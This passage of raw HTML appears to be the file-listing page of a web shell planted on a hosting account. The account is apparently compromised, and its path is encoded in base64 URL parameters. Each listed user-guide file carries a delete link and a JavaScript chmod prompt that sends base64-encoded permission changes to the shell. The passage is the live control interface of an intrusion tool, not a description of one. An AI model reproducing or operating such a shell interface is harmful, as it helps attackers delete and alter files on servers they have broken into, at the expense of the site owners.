onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=Y2FjaGluZy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y2FjaGluZy5odG1s"/>caching.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y2FjaGluZy5odG1s&c=`+btoa(c):0" value="0644"></td><td>44577</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=Y2FsbF9mdW5jdGlvbi5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y2FsbF9mdW5jdGlvbi5odG1s"/>call_function.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y2FsbF9mdW5jdGlvbi5odG1s&c=`+btoa(c):0" value="0644"></td><td>37441</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=Y29uZmlndXJhdGlvbi5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y29uZmlndXJhdGlvbi5odG1s"/>configuration.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y29uZmlndXJhdGlvbi5odG1s&c=`+btoa(c):0" value="0644"></td><td>55422</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=Y29ubmVjdGluZy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y29ubmVjdGluZy5odG1s"/>connecting.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Y29ubmVjdGluZy5odG1s&c=`+btoa(c):0" value="0644"></td><td>46006</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=ZGJfZHJpdmVyX3JlZmVyZW5jZS5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=ZGJfZHJpdmVyX3JlZmVyZW5jZS5odG1s"/>db_driver_reference.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=ZGJfZHJpdmVyX3JlZmVyZW5jZS5odG1s&c=`+btoa(c):0" value="0644"></td><td>81836</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=ZXhhbXBsZXMuaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=ZXhhbXBsZXMuaHRtbA=="/>examples.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=ZXhhbXBsZXMuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>45188</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=Zm9yZ2UuaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Zm9yZ2UuaHRtbA=="/>forge.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=Zm9yZ2UuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>72763</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=aGVscGVycy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aGVscGVycy5odG1s"/>helpers.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aGVscGVycy5odG1s&c=`+btoa(c):0" value="0644"></td><td>42739</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=aW5kZXguaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aW5kZXguaHRtbA=="/>index.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=aW5kZXguaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>36205</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=bWV0YWRhdGEuaHRtbA==">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=bWV0YWRhdGEuaHRtbA=="/>metadata.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=bWV0YWRhdGEuaHRtbA==&c=`+btoa(c):0" value="0644"></td><td>43050</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cXVlcmllcy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcmllcy5odG1s"/>queries.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcmllcy5odG1s&c=`+btoa(c):0" value="0644"></td><td>48726</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cXVlcnlfYnVpbGRlci5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcnlfYnVpbGRlci5odG1s"/>query_builder.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cXVlcnlfYnVpbGRlci5odG1s&c=`+btoa(c):0" value="0644"></td><td>196817</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=cmVzdWx0cy5odG1s">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cmVzdWx0cy5odG1s"/>results.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=cmVzdWx0cy5odG1s&c=`+btoa(c):0" value="0644"></td><td>83343</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=dHJhbnNhY3Rpb25zLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dHJhbnNhY3Rpb25zLmh0bWw="/>transactions.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dHJhbnNhY3Rpb25zLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>45356</td></tr><tr><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&x=dXRpbGl0aWVzLmh0bWw=">X</a></td><td><a href="?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dXRpbGl0aWVzLmh0bWw="/>utilities.html</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L2hvbWUvbWt0c3NvY2kvY3JlYXRpdmVpbnN0aXR1dGlvbl9pbi9hZG1pbi91c2VyX2d1aWRlL2RhdGFiYXNl&f=dXRpbGl0aWVzLmh0bWw=&c=`+btoa(c):0" value="0644"></td><td>66327</td></tr></table>